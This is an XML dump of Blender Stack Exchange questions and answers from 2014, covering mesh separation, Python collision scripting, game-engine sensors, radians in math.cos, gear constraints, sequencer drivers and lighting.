  <row Id="8020" PostTypeId="1" AcceptedAnswerId="8022" CreationDate="2014-02-21T09:35:09.193" Score="9" ViewCount="23002" Body="&lt;p&gt;I am using Blender 2.56. I created all body parts of humanoid model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used mirror modifier on individual body parts separately. Now I have to merg all the parts to make full body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is I want to make changes on only left hand not on both of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But mirror modifier is making the changes on both at a time. I applied the mirror modifier even then when I am coming to edit mode and doing some changes both hands are getting modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to separate those both hands and make them independent ?&lt;/p&gt;&#xA;" OwnerDisplayName="sai" LastEditorUserId="1363" LastEditDate="2014-03-24T22:46:11.307" LastActivityDate="2014-03-24T22:46:11.307" Title="How to separate objects created using mirror modifier in Blender?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8021" PostTypeId="2" ParentId="8020" CreationDate="2014-02-22T16:10:22.247" Score="0" Body="&lt;p&gt;In the Tools sidebar (Press &lt;kbd&gt;T&lt;/kbd&gt; to show) there is an X mirror option that is meant to help if you need to make adjustments after you apply a mirror modifier. Check that this is turned off. Are you also sure that you didn't have more than one mirror modifier? maybe re-added after merging different objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kTZAU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.56 is getting very old so it may look different.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-02-22T16:10:22.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8022" PostTypeId="2" ParentId="8020" CreationDate="2014-02-24T04:23:11.310" Score="11" Body="&lt;p&gt;In fact I got the solution in some other place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the hands separate objects just &lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode, select all verts (&lt;kbd&gt;A&lt;/kbd&gt;) and hit &lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &lt;em&gt;Separate by loose parts&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into object mode and they will be two separate objects.&lt;/p&gt;&#xA;" OwnerDisplayName="sai" LastEditorUserId="1363" LastEditDate="2014-03-24T22:45:20.327" LastActivityDate="2014-03-24T22:45:20.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8023" PostTypeId="1" CreationDate="2014-02-25T01:36:46.170" Score="0" ViewCount="719" Body="&lt;p&gt;Using Blender with cell fracture I have created a code that should select the objects created by cell fracture and give them the collision attribute and it does but only one out of a 1000. So it doesn't really work but then I am a newbie to Blender and Python so what I want it to do is select one object give it collision and move on to the next object created by cell fracture and give it collision and do this until it is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way I am using Blender version 2.69&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code that I have so far written and I do not know why it is does not increment to the next part.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;    from bpy import ops&#xA;    for i in bpy.data.objects:&#xA;          if i.name.startswith(&quot;Sphere&quot;):&#xA;    # Select object:&#xA;          bpy.ops.object.select_pattern(pattern=i.name)&#xA;    # Add modifier:&#xA;          bpy.ops.object.modifier_add(type='COLLISION')&#xA;    print(&quot;finally! this code saved you from clicking your mouse 1400 times!!!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user3349155" LastEditorUserId="241" LastEditDate="2018-10-09T14:03:17.077" LastActivityDate="2018-10-09T14:03:17.077" Title="Using Blender with cell fracture and trying to add collision via Python" Tags="&lt;python&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;collision&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8024" PostTypeId="2" ParentId="8023" CreationDate="2014-02-26T17:25:21.337" Score="3" Body="&lt;p&gt;First thing - you loop through all objects and then run &lt;code&gt;bpy.ops.object.select_pattern()&lt;/code&gt; which will change your selection. It would be better to run a loop as &lt;code&gt;for obj in bpy.context.selected_objects:&lt;/code&gt; Which will let you select the objects you want the script to alter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator &lt;code&gt;bpy.ops.rigidbody.object_settings_copy()&lt;/code&gt; will copy the rigid body settings from the active object to the rest of the selected objects. You don't need to write a script to do this as it is already available. Press &lt;kbd&gt;T&lt;/kbd&gt; to show the toolbar and under Rigid body tools you will find a button to Copy from Active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ME5m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an addon called Copy Attributes Menu that you can enable and it will Allow you to copy modifiers from the active object to selected. Unfortunately it doesn't copy the collision settings. You can copy the collision settings individually by right clicking on a value and selecting Copy To Selected. This can be done with many properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0e9b3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to write a script you can start with something like - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    obj.modifiers.new(type='COLLISION', name='collision')&#xA;    obj.collision.permeability = 0.3&#xA;    obj.collision.stickiness = 0.25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a collision modifier, you can only have one so always using &lt;code&gt;modifier.new()&lt;/code&gt; is ok, no matter how many times you run the script. With other modifiers you may want to test whether one already exists before creating a new one.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-02-26T17:25:21.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8025" PostTypeId="1" CreationDate="2014-03-18T09:58:37.963" Score="0" ViewCount="389" Body="&lt;p&gt;I have a scene in blender with objects placed at strategic locations.The main object in the scene is just one human character. I would want to be able to have events such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Human character walks past a box and a script sends a response such as sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about implementing that in blender &lt;/p&gt;&#xA;" OwnerDisplayName="Jack welch" LastEditorUserId="12" LastEditDate="2014-05-09T10:43:28.773" LastActivityDate="2014-05-09T10:43:28.773" Title="Event handlers in Blender" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8026" PostTypeId="2" ParentId="8025" CreationDate="2014-03-19T04:55:09.090" Score="1" Body="&lt;p&gt;You setup event triggers using game engine logic bricks within the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Screen_Layout&quot; rel=&quot;nofollow&quot;&gt;Logic Editor window&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Sensors&quot; rel=&quot;nofollow&quot;&gt;several sensors&lt;/a&gt; available, collision and near would work. (Touch appears to have disappeared from recent versions) These sensors can then run python scripts or initiate other actions using available actuators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A search on youtube for blender game engine tutorial will bring up several options to show you the basics of using the game engine.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-03-19T04:55:09.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8027" PostTypeId="1" CreationDate="2014-03-24T20:35:41.983" Score="1" ViewCount="209" Body="&lt;p&gt;I have created an Animation in Blender, with an imported 'stl' file of an airplane that flies over an ocean [Plane w Ocean Modifier] and a blue sky background [checked Background and imported an image of the sky].  The Animation works fine in Camera view; the airplane, Ocean &amp;amp; Sky all show as imported: colors, textures, materials.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Video Sequence Editor, I Added a video clip, spliced the clip and inserted a picture image - and it plays just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the Animation clip.  It only shows the plane flying toward the Camera, with no Ocean below or Sky above.  I am unable to Render the whole video, with the video clip, picture image, and animation sections together - showing all the colors, textures &amp;amp; materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the Animation to show up with the Ocean &amp;amp; Sky? &lt;/p&gt;&#xA;" OwnerUserId="2757" LastActivityDate="2014-03-24T20:35:41.983" Title="Animating with a Video Clip" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-04T22:08:09.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="8028" PostTypeId="2" ParentId="8005" CreationDate="2014-03-24T21:23:36.007" Score="3" Body="&lt;p&gt;Lamps are never visible to the camera directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try faking the sun with a mesh constrained a good distance behind the sun lamp, but other than that I'm not sure of the best way to handle this.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-24T21:23:36.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8029" PostTypeId="2" ParentId="8006" CreationDate="2014-03-24T21:51:16.320" Score="1" Body="&lt;p&gt;Try using an &lt;em&gt;Array modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a torus and delete three quarters of it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pd97w.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty and rotate it 90° around the Z (or whatever axis to which the torus is aligned)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8AN4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an array modifier to the torus, with &lt;em&gt;Object offset&lt;/em&gt; enabled and the empty selected as the offset object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xr10o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;By using the 3D cursor as the pivot point and being suitably careful about how you move your vertices maintaining a manifold mesh shouldn't be too hard. Another advantage to the array modifier is that it updates in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-24T21:51:16.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8030" PostTypeId="1" AcceptedAnswerId="8031" CreationDate="2014-03-24T22:21:43.657" Score="5" ViewCount="6682" Body="&lt;p&gt;The &lt;code&gt;cos of 45&lt;/code&gt; should be returning a value of: &lt;code&gt;sqr(2)/2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I checked the following:&#xA;&lt;code&gt;test = math.cos(45)&lt;/code&gt;&#xA;it returns the value of: &lt;code&gt;0.5253&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought I had to convert it to degrees: &lt;code&gt;test = math.degrees(math.cos(45))&lt;/code&gt; but instead it returns the value of: &lt;code&gt;30.0987&lt;/code&gt;&#xA;I don't know what I'm doing wrong here. I just want the &lt;code&gt;cos(45)&lt;/code&gt; to return a value of: &lt;code&gt;sqr(2)/2&lt;/code&gt; just as my calculator does ..&lt;/p&gt;&#xA;" OwnerUserId="2248" LastActivityDate="2020-08-23T07:04:35.800" Title="Math.cos is returning wrong value?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8031" PostTypeId="2" ParentId="8030" CreationDate="2014-03-24T22:32:20.273" Score="14" Body="&lt;p&gt;Try &lt;code&gt;math.cos(math.radians(45))&lt;/code&gt;. Trigonometric functions need their arguments in radians, Blender also uses radians internally.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="55" LastEditDate="2014-03-25T00:16:44.590" LastActivityDate="2014-03-25T00:16:44.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8033" PostTypeId="1" AcceptedAnswerId="8036" CreationDate="2014-03-25T00:43:28.933" Score="3" ViewCount="1924" Body="&lt;p&gt;My goal is to model the parts for a guitar in FreeCAD and Blender, and then use Blender to make sure they will work before I have them made. I've started with the tuners, which consist of a screw turning a gear (and a post attached to the gear, and a little handle and enclosure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've figured I need to constrain the position of both main parts, and limit their rotation. But I can't figure out the best way to rotate my parts. The game engine doesn't seem to use precise enough collision detection, and I have trouble making my screw spin with regular Blender physics. I've tried adding wind to spin the screw, adding a vortex force to the screw, tweaking the weights of the objects, and nothing really works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://metaphorshear.com/files/tuner.blend&quot; rel=&quot;nofollow&quot;&gt;Here's&lt;/a&gt; the blend file.&lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2014-03-25T13:09:00.043" Title="Simulating a screw turning a gear" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8034" PostTypeId="1" AcceptedAnswerId="8038" CreationDate="2014-03-25T02:42:57.567" Score="12" ViewCount="922" Body="&lt;p&gt;Let me start by stating that I have just recently picked up Blender to use as a Video Editor.  Given that my knowledge is limited on this software, I have came across an issue which I can not determine if it is from user error or if it is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal I have is to have a video sequence effect which is driven by an audio track.  By this I mean, as the audio becomes larger/louder the video effect should become more pronounced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have done the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created a new project.&lt;/li&gt;&#xA;&lt;li&gt;Deleted the default sphere.&lt;/li&gt;&#xA;&lt;li&gt;Created an empty sphere.&lt;/li&gt;&#xA;&lt;li&gt;Created a single keyframe on the empty sphere's Z Scale.&lt;/li&gt;&#xA;&lt;li&gt;Baked a sound to the F Curve of the empty sphere's Z Scale.&lt;/li&gt;&#xA;&lt;li&gt;Added the same sound file to the Video Editing Sequencer at frame 1 channel 1 and extended the animation stop frame to match that of the sound file.&lt;/li&gt;&#xA;&lt;li&gt;Added an image to the Video Editing Sequencer at frame 1 channel 2 and extended it to the same length.&lt;/li&gt;&#xA;&lt;li&gt;Added an Effect Strip: Color to the Video Editing Sequencer at frame 1 channel 3. I changed the color to red and set the blend mode to Multiply.  I also extended it to the same length as noted above.&lt;/li&gt;&#xA;&lt;li&gt;I then created a driver for the Opacity of the Effect Strip: Color.&lt;/li&gt;&#xA;&lt;li&gt;I set the properties of the driver to take the value of the baked sound of the empty sphere's Z Scale.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I scrub through on the timeline, I can see the desired results in the preview window.  However, when I render the animation, whatever the value of the Empty Sphere's Z Scale was on the last scrubbed frame is what the effect uses on all (non scrubbed) frames.  Notice in the following screenshot, that the driver is picking up the proper value's.  I'll show a few screenshots of what I am referring to:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gR1iA.jpg&quot; alt=&quot;no description&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is interesting to note is if instead of creating a driver for the opacity of the effect, I create a new keyframe and bake the sound to the keyframe graph, it will render exactly as the above screenshot shows, which of course is what I am looking to do &lt;strong&gt;BUT&lt;/strong&gt; would really want to do this via a driver instead.  The example here has led me to speculate that one of two things are true.  Either I am &lt;strong&gt;&lt;em&gt;doing it wrong&lt;/em&gt;&lt;/strong&gt; or this is just a &lt;strong&gt;&lt;em&gt;bug&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two links to a couple renders.  The first is rendered with the effect being driven by a driver linked to the Z Scale of the empty.  The second is with the sound baked directly into the visual effect's opacity keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderizzle.weebly.com/uploads/4/2/2/6/4226544/driverrender.mp4&quot; rel=&quot;noreferrer&quot;&gt;Effect with opacity driven by a driver linked to z scale of the empty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderizzle.weebly.com/uploads/4/2/2/6/4226544/directlybaked.mp4&quot; rel=&quot;noreferrer&quot;&gt;Effect with sound baked to it's opacity keyframe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone out there know what I'm missing or care to throw me a bone?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Issue resolved&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for the assistance and to &lt;strong&gt;user2859&lt;/strong&gt; for another possible workaround.&lt;/p&gt;&#xA;" OwnerUserId="2899" LastEditorUserId="2899" LastEditDate="2014-03-25T21:19:26.063" LastActivityDate="2014-03-25T21:19:26.063" Title="Have a video sequence be driven by an audio track" Tags="&lt;video&gt;&lt;drivers&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8036" PostTypeId="2" ParentId="8033" CreationDate="2014-03-25T07:41:08.517" Score="3" Body="&lt;p&gt;Animating gears is usually done using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Copy_Rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Copy Rotation&lt;/em&gt;&lt;/a&gt;  constraint, in your case you want to copy the rotation from another axis therefore you might want to use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Transformation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Transformation&lt;/em&gt;&lt;/a&gt; constraint to copy and scale the rotation from one axis to another:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuLcP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qDmt4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video Tutorial:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=j1WNbpX7HPo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gear rigging tutorial constraints&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This is only to do an animation, I'm not sure whether Blender is suitable for simulation of mechanical parts from an engineering point of view.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-25T13:09:00.043" LastActivityDate="2014-03-25T13:09:00.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8038" PostTypeId="2" ParentId="8034" CreationDate="2014-03-25T10:43:21.443" Score="11" Body="&lt;p&gt;The problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scene isn´t updated because the sequencer ignores the scene when it´s not visible in the final output. We might consider this a bug/limitation or a feature. I´ll talk to the core developers. So of course drivers that depend on the values of a hidden scene don´t work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don´t use the scene for output, render the scene so that the output is pure white and add the scene in the sequencer on top of every channel and use multiply as blend mode. Of course this increases the render time a bit. The key point here is that the scene shows up one way or another in the final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwLtF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-03-25T19:44:05.550" LastActivityDate="2014-03-25T19:44:05.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8039" PostTypeId="1" AcceptedAnswerId="8080" CreationDate="2014-03-25T11:45:27.440" Score="25" ViewCount="10286" Body="&lt;p&gt;Both an area light and an emissive polygon can be used to create lights. What is the difference between the two?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mw1n9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2014-03-30T02:33:35.047" LastActivityDate="2014-04-14T05:17:40.260" Title="Area Light vs. Emissive Polygon" Tags="&lt;light&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8040" PostTypeId="1" AcceptedAnswerId="8047" CreationDate="2014-03-25T12:27:22.563" Score="4" ViewCount="596" Body="&lt;p&gt;I am making &quot;2x4&quot;s!!! For consistency across the variations i have to use the same texture, otherwise they would look like they were made with different types of wood... but if you line them up you can see very obviously that they all use the same texture, and they look tiled. so for each object i have a unique node tree where the only difference between them is that i have changed the location in the mapping node...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;problem is that i have to create an entirely new node tree for each unique 2x4, which can become a pain when making minor adjustments to the shaders. so i was wondering if there was a way to create a pointer to sections of a node tree and have the changes reflect across all references to that pre-defined node section. i have heard about instantiating node groups and am not entirely sure if this provides the functionality i desire (i worry about memory and render speed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does blender allow for pointers to a node group? or reuse of a group of node without the memory hit of multiple instances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: maybe it would be better to say i want a static node group....&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-26T03:54:53.817" LastActivityDate="2014-03-28T17:19:35.330" Title="Pointers to node groups?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;groups&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8041" PostTypeId="2" ParentId="8039" CreationDate="2014-03-25T13:43:03.130" Score="13" Body="&lt;p&gt;Lamps have no geometry. which means that they cannot be transformed, have no solidity, and cannot be rendered... this obviously would mean that a lamp is less resource intensive than a polygon, which can be useful when lighting something that doesn't require the resource hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example, a distant building with a lit window doesn't need the bells and whistles of a geometric light, it just needs the light. An urban scene might be a good example of this. With many windows that may not need geometric lights to achieve the needed effect, it would be best to not simulate the shape and size of the actual light source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, a scene with say, a light-bulb in it, would need a polygon light. For one because the light source would need to be rendered, and not just the light it produces, and two because lights don't come from a single point in space...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not sure but I don't think they can interact with physics simulations either, as they have no attributes such as mass, volume, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long story short&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use a lamp when you want to light your scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use a polygon when you want a light &lt;strong&gt;IN&lt;/strong&gt; your scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT #2: Matts answer appears to be more informed, i would go with his answer....&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-30T19:19:34.660" LastActivityDate="2014-03-30T19:19:34.660" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8042" PostTypeId="1" CreationDate="2014-03-25T13:44:38.733" Score="1" ViewCount="1226" Body="&lt;p&gt;I am looking at improving a characters Skin material node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the Node setups I have seen for cycles, including the Arnold Skin port basically involve (not including gloss, bump etc) several SSS shaders mixed together to provide Epidermal, Sub dermal and deep scattering. With the surface colour input on the SSS shader used to provide the various scatter colours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think this is physically correct. Surely the surface colour for these SSS shaders should be the Diffuse colour not the scatter colour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the other Non-blender skin shaders I have seen seem to separate surface colour and Scatter colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I plug for instance, a sub dermal colour map into the radius input will this effect the scatter colour of the shader? Or is this input only for vector information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to set the colour input to the diffuse colour - radius and scale to an appropriate value and then use a texture map to mix this SSS shader with other SSS shaders?&lt;/p&gt;&#xA;" OwnerUserId="2224" LastActivityDate="2014-03-25T13:44:38.733" Title="Cycles SSS surface colour" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-27T04:43:11.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="8043" PostTypeId="2" ParentId="8017" CreationDate="2014-03-25T14:11:18.730" Score="2" Body="&lt;p&gt;I don't see a way of accessing the shape key value from within the game engine. A mesh object is copied to a KX_MeshProxy for use in the game engine, which only gives access to the mesh and materials. This would mean that we need to use either drivers or actions to animate shape keys within the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a driver setup that uses the bone position to control the shape key then you need to move the bone to control the shape key. You can create an action that moves the bone and can easily be played in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without using a driver you can create an action that keyframes the shape key value and then play that action in the game engine. Use the Shape Key Editor instead of the Action Editor (both are subtypes of the Dope Sheet). Shape Key actions show up in the same list as normal actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to play an action from start to finish then you will want to have a driver that simply sets the shape key value to an object's X location. You can add an empty just for this purpose and move it in small increments to set the shape key value to the value you want at the time you want it there.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-03-27T22:44:50.890" LastActivityDate="2014-03-27T22:44:50.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8044" PostTypeId="1" CreationDate="2014-03-25T15:28:06.293" Score="2" ViewCount="161" Body="&lt;p&gt;This might be a bit of a weird one, but I'm looking to write a Python node that will, upon a user's input of a folder path, replace itself with a node group that contains itself and other nodes based on the contents of the folder.  I'm trying to perform this transformation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyNode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;User inputs folder path&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyNodeGroup:&#xA;    MyNode&#xA;    Other Nodes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine I'd have to create and instance the group immediately, then move my node into it along with any other new nodes that I need.  If it's not possible to move an existing node into a group, could I create an identical node and then delete the old?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this problem is greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Or, if groups are not the most appropriate mechanism for this, is it possible to maintain other nodes inside my node internally?&lt;/p&gt;&#xA;" OwnerUserId="2904" LastEditorUserId="2217" LastEditDate="2014-08-24T00:29:49.643" LastActivityDate="2014-09-24T12:55:40.527" Title="Python node that replaces itself in the editor with a group?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8045" PostTypeId="1" AcceptedAnswerId="8046" CreationDate="2014-03-25T15:49:13.977" Score="6" ViewCount="3877" Body="&lt;p&gt;How can I randomize a numerical value for a node? Is there any one node, or combination of nodes that can achieve this effect?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-28T17:41:40.300" Title="How can I randomize a value for a node?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-28T21:08:10.173" ContentLicense="CC BY-SA 3.0" />
